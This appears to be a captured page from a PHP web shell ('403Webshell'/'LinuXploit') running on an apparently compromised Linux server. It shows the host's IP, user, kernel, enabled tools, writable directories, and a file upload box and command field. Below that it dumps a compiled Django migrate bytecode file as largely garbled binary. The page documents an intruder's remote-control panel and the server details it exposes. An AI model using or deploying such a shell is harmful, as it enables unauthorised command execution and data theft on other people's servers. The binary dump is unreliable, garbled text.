403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/core/management/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/core/management/commands/__pycache__/migrate.cpython-311.pyc
�

�|�e�A����ddlZddlZddlmZddlmZddlmZmZm	Z	ddl
mZmZddl
mZmZmZddlmZddlmZdd	lmZdd
lmZmZddlmZddlmZGd
�de��ZdS)�N)�
import_module)�apps)�BaseCommand�CommandError�no_translations)�emit_post_migrate_signal�emit_pre_migrate_signal)�DEFAULT_DB_ALIAS�connections�router)�MigrationAutodetector)�MigrationExecutor)�AmbiguityError)�
ModelState�ProjectState)�module_has_submodule)�	Truncatorc�V�eZdZdZgZd�Zed���Zd	d�Zd�Z	e
d���ZdS)
�CommandzMUpdates database schema. Manages both apps with migrations and those without.c��|�ddd���|�ddd���|�d	dd
���|�ddd
dd���|�dtd���|�ddd���|�ddd���|�ddd���|�ddd���|�dddd���dS)Nz
--skip-checks�
store_truezSkip system checks.)�action�help�	app_label�?z5App label of an application to synchronize the state.)�nargsr�migration_namezpDatabase state will be brought to the state after that migration. Use the name "zero" to unapply all migrations.z	--noinputz
--no-input�store_false�interactivez:Tells Django to NOT prompt the user for input of any kind.)r�destrz
--databasezHNominates a database to synchronize. Defaults to the "default" database.)�defaultrz--fakez5Mark migrations as run without actually running them.z--fake-initialz�Detect if tables already exist and fake-apply initial migrations if so. Make sure that the current database schema matches your initial migration before using this flag. Django will only check for an existing table name.z--planz=Shows a list of the migration actions that will be performed.z--run-syncdbz+Creates tables for apps without migrations.z--check�check_unappliedz;Exits with a non-zero status if unapplied migrations exist.)�add_argumentr
)�self�parsers  �I/usr/lib/python3/dist-packages/django/core/management/commands/migrate.py�
add_argumentszCommand.add_argumentss�������L�&�	�	
�	
�	
�	����s�H�	�	
�	
�	
�	����C�M�	�	
�	
�	
�
	�����m�-�M�	�	
�	
�	
�	����$�[�	�	
�	
�	
�
	����\�H�	�	
�	
�	
�	����\�L�	�	
�	
�	
�	����\�P�	�	
�	
�	
�	����<�>�	�	
�	
�	
�	����l�1B�N�	�	
�	
�	
�	
�	
�c���!�|d}|ds|�|g���|d|_|d|_tj��D],}t|jd��rtd|j���-t|}|�
��t||j��}|j
�|��|j
���}|rCd�d	�|���D����}t%d
|z���|d}	d}
|d
r�|d
�!	tj�!��n.#t($r!}t%t+|�����d}~wwxYw|	r!�!|j
jvrt%d�!z���n �!|j
jvrt%d�!z���|d
r�|dr�|d}|dkr�!dfg}
nj	|j
��!|��}nC#t0$rt%d|�d�!�d����t2$rt%d|�d�!�d����wxYw�!|jfg}
d}
nQ|d
r+�!fd�|j
j���D��}
n|j
j���}
|�|
��}|o|d}|dr�|j�d|jj ��|s|j�d��|D]�\}}|j�t+|��|jj!��|j"D]I}|�#||��\}}|r|jj$nd}|j�d|z|���J��|rtKj&d��dS|rtKj&d��|do|j
j'}	|jdk�r�|j�|j�!d ����|	r�|d
r6|j�|j� d!�!z����n_|j�|j� d"��d#�tQ|j
j'����z��|
rb|j�|j� d$��d#�tQd%�|
D������pd&z��n�|
d'd�O|j�|j� d(��t+|
d'd'��z��nR|j�|j� d)��|
d'd�d*|
d'd'��z��|�)d�+��}|j}tU|j|j|j+||�,��|	r}|jdkr2|j�|j�!d-����|d
r|�,|�!g��n |�,||j
j'��|jdkr2|j�|j�!d.����|�s|jdk�r|j�d/��t[|j
�.��t_j0t����}|�1|j
j�0��}|r�|j�|j�2d1d#�d2�tQ|��D����z����|j�|j�2d3����d}d}n|d4}|d5}|�3|
||�4��||�6��}|�5��|j}|�6��5g}|j7D]/}|j8|j9f} |�:| ��|j;| ��0	ddd��n#1swxYwY|�<d7�|D����t{|j|j|j+||�,��dS)8N�database�skip_checks)�	databases�	verbosityr�
managementz.managementz; c3�PK�|]!\}}d�|���d|��V��"dS)�, z in N)�join)�.0�app�namess   r&�	<genexpr>z!Command.handle.<locals>.<genexpr>esS����!�!��C��#�i�i��.�.�.�.���4�!�!�!�!�!�!r(z�Conflicting migrations detected; multiple leaf nodes in the migration graph: (%s).
To fix them run 'python manage.py makemigrations --merge'�
run_syncdbTrz8Can't use run_syncdb with app '%s' as it has migrations.z"App '%s' does not have migrations.r�zeroz!More than one migration matches 'z
' in app 'z'. Please be more specific.z"Cannot find a migration matching 'z' from app 'z'.Fc�,��g|]}|d�k�|��S)r�)r2�keyrs  �r&�
<listcomp>z"Command.handle.<locals>.<listcomp>�s)���`�`�`�s�C�PQ�F�V_�L_�L_�s�L_�L_�L_r(r"�planzPlanned operations:z"  No planned migration operations.z    �zOperations to perform:z   Synchronize unmigrated app: %sz  Synchronize unmigrated apps: r0z  Apply all migrations: c��h|]\}}|��Sr9r9)r2�a�ns   r&�	<setcomp>z!Command.handle.<locals>.<setcomp>�s��&=�&=�&=�T�Q��q�&=�&=�&=r(z(none)rz  Unapply all migrations: z  Target specific migration: z, from )�with_applied_migrations)rr<z&Synchronizing apps without migrations:zRunning migrations:z  No migrations to apply.)�graphzl  Your models in app(s): %s have changes that are not yet reflected in a migration, and so won't be applied.c3�4K�|]}t|��V��dS�N)�repr)r2r3s  r&r5z!Command.handle.<locals>.<genexpr>�s(����.T�.T�S�t�C�y�y�.T�.T�.T�.T�.T�.Tr(zk  Run 'manage.py makemigrations' to make new migrations, and then re-run 'manage.py migrate' to apply them.�fake�fake_initial)r<�staterGrHc�N�g|]"}tjtj|�����#Sr9)r�
from_modelr�	get_model)r2�models  r&r;z"Command.handle.<locals>.<listcomp>s7��+
�+
�+
�>C�J�!�$�.�%�"8�9�9�+
�+
�+
r()>�checkr-rr�get_app_configsr�moduler�namer�prepare_databaser�migration_progress_callback�loader�check_consistent_history�detect_conflictsr1�itemsr�get_app_config�LookupError�str�
migrated_apps�get_migration_by_prefixr�KeyErrorrC�
leaf_nodes�migration_plan�stdout�write�style�
MIGRATE_LABEL�MIGRATE_HEADING�
operations�describe_operation�WARNING�sys�exit�unmigrated_apps�sorted�_create_project_stater	�alias�	sync_appsr
�
project_stater�	from_apps�changes�NOTICE�migrate�clone�clear_delayed_apps_cache�bulk_update�real_modelsr�
name_lower�append�unregister_model�render_multipler)"r$�args�optionsr*�
app_config�
connection�executor�	conflicts�name_strr6�target_app_labels_only�errr�targets�	migrationr<�exit_dry�	backwards�	operation�message�is_errorrb�pre_migrate_state�pre_migrate_apps�autodetectorrqrGrH�post_migrate_state�post_migrate_apps�
model_keys�model_state�	model_keyrs"                                 @r&�handlezCommand.handleGsU
����:�&���}�%�	-��J�J�(��J�,�,�,� ��-���"�=�1����.�0�0�	>�	>�J�#�J�$5�|�D�D�
>��m�Z�_�=�=�=��!��*�
�	�#�#�%�%�%�$�Z��1Q�R�R��	��0�0��<�<�<��O�4�4�6�6�	��		��y�y�!�!�"+�/�/�"3�"3�!�!�!���H��<�>F�G���
��\�*�
�!%���;��	U���,�I�
-��#�I�.�.�.�.���
-�
-�
-�"�3�s�8�8�,�,�,�����
-�����
U���� =�=�=�&�'a�dm�'m�n�n�n�>��(�/�"?�?�?�"�#G�)�#S�T�T�T��;��	9�G�,<�$=�	9�$�%5�6�N���'�'�%�t�,�-���
4� (�� G� G�	�Sa� b� b�I�I��%����&�,�(������4����
 �4�4�4�&�,�&���	�	�	�(3�4�4�4�4����&�y�~�6�7��%*�"�"�
�[�
!�	9�`�`�`�`�h�o�&;�&F�&F�&H�&H�`�`�`�G�G��o�+�6�6�8�8�G��&�&�w�/�/���6�G�$5�6���6�?�	��K���3�T�Z�5M�N�N�N��
H���!�!�"F�G�G�G�(,�
?�
?�$�	�9���!�!�#�i�.�.�$�*�2L�M�M�M�!*�!5�?�?�I�(,�(?�(?�	�9�(U�(U�%�G�X�2:�D�D�J�.�.��E��K�%�%�f�w�&6��>�>�>�>�?��
��������F��	��H�Q�K�K�K��\�*�N�x��/N�
��>�Q����K���d�j�8�8�9Q�R�R�S�S�S��	
��;�'���K�%�%��
�0�0�1S�V_�1_�`�`������K�%�%��
�0�0�1R�S�S����6�(�/�*I�#J�#J�K�K�M����&�
���!�!��J�,�,�-G�H�H��Y�Y�v�&=�&=�W�&=�&=�&=�>�>�?�?�K�8�M�����
�1�:�a�=�(��K�%�%��
�0�0�1M�N�N��G�A�J�q�M�*�*�+�����
�K�%�%�d�j�&>�&>�7�'9�'9�"�1�:�a�=�=�=�'�!�*�Q�-�-�<9�'9����
%�:�:�SW�:�X�X��,�1����N�D�,�j�.>�EU�\`�	
�	
�	
�	
�
�	L��~��"�"���!�!�$�*�"<�"<�=e�"f�"f�g�g�g��{�#�
L����z�I�;�7�7�7�7����z�8�?�+J�K�K�K��>�Q����K���d�j�8�8�9N�O�O�P�P�P��	3��~��"�"���!�!�"=�>�>�>�4��O�1�1�3�3� �*�4�0�0� � ��'�.�.�X�_�5J�.�K�K���
��K�%�%�d�j�&7�&7�#�%)�Y�Y�.T�.T�F�7�O�O�.T�.T�.T�%T�%T�U�'�'����
�K�%�%�d�j�&7�&7�&�'�'����
�D� �L�L��6�?�D�"�>�2�L�%�-�-��$�&7�&=�&=�&?�&?�d�%�.�
�
��	�3�3�5�5�5�.�3��
�
*�
*�
,�
,�	?�	?��J�0�<�
?�
?��'�1�;�3I�I�	��!�!�)�,�,�,�2�!�2�I�>�>�>�
?�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?�	?����	?�	?�	?�	?�	�)�)�+
�+
�GQ�+
�+
�+
�	�	�	�	!��N�D�,�j�.>�EV�]a�	
�	
�	
�	
�	
�	
s7�E!�!
F�+F�F�7H�AI�:b&�&b*�-b*NFc�l�|jdk�r�|jdk}|dkrT|rtj��|_|j�d|zd���|j���dS|dkr�|rdtj��|jz
znd}|r7|j�|j�d|z����dS|j�|j�d	|z����dS|d
krT|rtj��|_|j�d|zd���|j���dS|dkr�|rdtj��|jz
znd}|r7|j�|j�d|z����dS|j�|j�d	|z����dS|d
krQ|rtj��|_|j�dd���|j���dS|dkr[|rdtj��|jz
znd}|j�|j�d|z����dSdSdS)Nr=�apply_startz  Applying %s...�)�ending�
apply_successz (%.3fs)z FAKEDz OK�
unapply_startz  Unapplying %s...�unapply_success�render_startz  Rendering model states...�render_successz DONE)	r-�time�	monotonic�startr`ra�flushrb�SUCCESS)r$rr�rG�compute_time�elapseds      r&rSz#Command.migration_progress_callbacks����>�Q����>�A�-�L���&�&��2�!%��!1�!1�D�J���!�!�"4�y�"@��!�L�L�L���!�!�#�#�#�#�#��?�*�*�JV�^�*���(8�(8�4�:�(E�F�F�\^���K��K�%�%�d�j�&8�&8��G�9K�&L�&L�M�M�M�M�M��K�%�%�d�j�&8�&8����&I�&I�J�J�J�J�J��?�*�*��2�!%��!1�!1�D�J���!�!�"6��"B�2�!�N�N�N���!�!�#�#�#�#�#��,�,�,�JV�^�*���(8�(8�4�:�(E�F�F�\^���K��K�%�%�d�j�&8�&8��G�9K�&L�&L�M�M�M�M�M��K�%�%�d�j�&8�&8����&I�&I�J�J�J�J�J��>�)�)��2�!%��!1�!1�D�J���!�!�"?��!�K�K�K���!�!�#�#�#�#�#��+�+�+�JV�^�*���(8�(8�4�:�(E�F�F�\^����!�!�$�*�"4�"4�W�w�5F�"G�"G�H�H�H�H�H�?��:,�+r(c
�^���
������5}�j�|���ddd��n#1swxYwY��fd�tj��D��}��fd��
�
fd�|D��}|jdkr|j�d������5}|�	��D]�\}}|D]�}	|	j
����s�|jdkr+|j�d|�d	|	j
j�d
���|jdkr'|j�d|	j
j
z��|�|	������|jdkr|j�d��ddd��dS#1swxYwYdS)
z;Run the old syncdb-style operation on a list of app_labels.Nc�v��g|]5}|j�	|j�v�|jtj|�jd���f��6S)NF)�include_auto_created)�
models_module�labelr�get_migratable_modelsrm)r2r~�
app_labelsrs  ��r&r;z%Command.sync_apps.<locals>.<listcomp>8s_���
�
�
�
��'�3�
�8H�J�8V�8V�	� ��,�Z��9I�`e�f�f�f�
�
9W�8V�8Vr(c���|j}�jj}||j���vp"|jo||jjj���vSrE)�_meta�
introspection�identifier_converter�db_table�auto_created)rM�opts�	converterr�tabless   ��r&�model_installedz*Command.sync_apps.<locals>.model_installedAs]����;�D�"�0�E�I���4�=�)�)�V�3�^��"�\�y�y��1B�1H�1Q�'R�'R�V\�'\��
r(c	�R��i|]#\}}|tt�|������$Sr9)�list�filter)r2�app_name�
model_listr�s   �r&�
<dictcomp>z%Command.sync_apps.<locals>.<dictcomp>IsA���
�
�
�$��*�
�d�6�/�:�>�>�?�?�
�
�
r(r=z  Creating tables...�z    Processing �.z modelz    Creating table %sz    Running deferred SQL...)�cursorr��table_namesrrOr-r`ra�
schema_editorrWr��can_migrate�object_namer��create_model)r$rr�r��
all_models�manifest�editorr�r�rMr�r�s ``       @@r&rnzCommand.sync_apps2s�������
�
�
�
 �
 �	B�F��-�9�9�&�A�A�F�	B�	B�	B�	B�	B�	B�	B�	B�	B�	B�	B����	B�	B�	B�	B�
�
�
�
�
�
#�2�4�4�
�
�
�
�	�	�	�	�	�	�
�
�
�
�(2�
�
�
���>�Q����K���4�5�5�5�
�
%�
%�
'�
'�	A�6�(0���(8�(8�
/�
/�$��*�'�
/�
/�E� �;�2�2�:�>�>�!� ��~��*�*���)�)�)�<D�H�H�e�k�F]�F]�F]�^�����~��*�*���)�)�*A�E�K�DX�*X�Y�Y�Y��'�'��.�.�.�.�
/��~��"�"���!�!�"?�@�@�@�!	A�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A�	A����	A�	A�	A�	A�	A�	As$�A�A�A�8CF"�"F&�)F&c��d}d}t|d��r|r|jn|j}|r	|jpdnd}n't|d��r|r|jn|j}nd}|rd}|�$t
|���dd��}n|rd}d	}|rd
|z}t|��}||�	��z|�
d��z|fS)z@Return a string that describes a migration operation for --plan.r�F�codeN�sqlzUndo �
�IRREVERSIBLETz -> �()�hasattr�reverse_coder��__doc__�reverse_sqlr�rZ�replacer�describe�chars)r�r��prefixr�r�r�	truncateds       r&rfzCommand.describe_operationcs�������9�f�%�%�	!�-6�J�9�)�)�I�N�D�-1�;�d�l�(�b��t�F�F�
�Y��
&�
&�	!�.7�J�Y�*�*�Y�]�F�F��F��
!� ������[�[�(�(��r�2�2�F�F�
�	�#�F��H��	%��f�_�F��f�%�%�	��	�*�*�,�,�,�y���r�/B�/B�B�H�L�Lr()NF)�__name__�
__module__�__qualname__r�requires_system_checksr'rr�rSrn�staticmethodrfr9r(r&rrs�������Z�D���,
�,
�,
�\�F
�F
��_�F
�P I� I� I� I�D/A�/A�/A�b�M�M��\�M�M�Mr(r)rhr��	importlibr�django.appsr�django.core.management.baserrr�django.core.management.sqlrr	�	django.dbr
rr�!django.db.migrations.autodetectorr
�django.db.migrations.executorr�django.db.migrations.loaderr�django.db.migrations.staterr�django.utils.module_loadingr�django.utils.textrrr9r(r&�<module>r�so��
�
�
�
�����#�#�#�#�#�#�������������������������<�;�;�;�;�;�;�;�;�;�C�C�C�C�C�C�;�;�;�;�;�;�6�6�6�6�6�6�?�?�?�?�?�?�?�?�<�<�<�<�<�<�'�'�'�'�'�'�dM�dM�dM�dM�dM�k�dM�dM�dM�dM�dMr(

Youez - 2016 - github.com/yon3zu
LinuXploit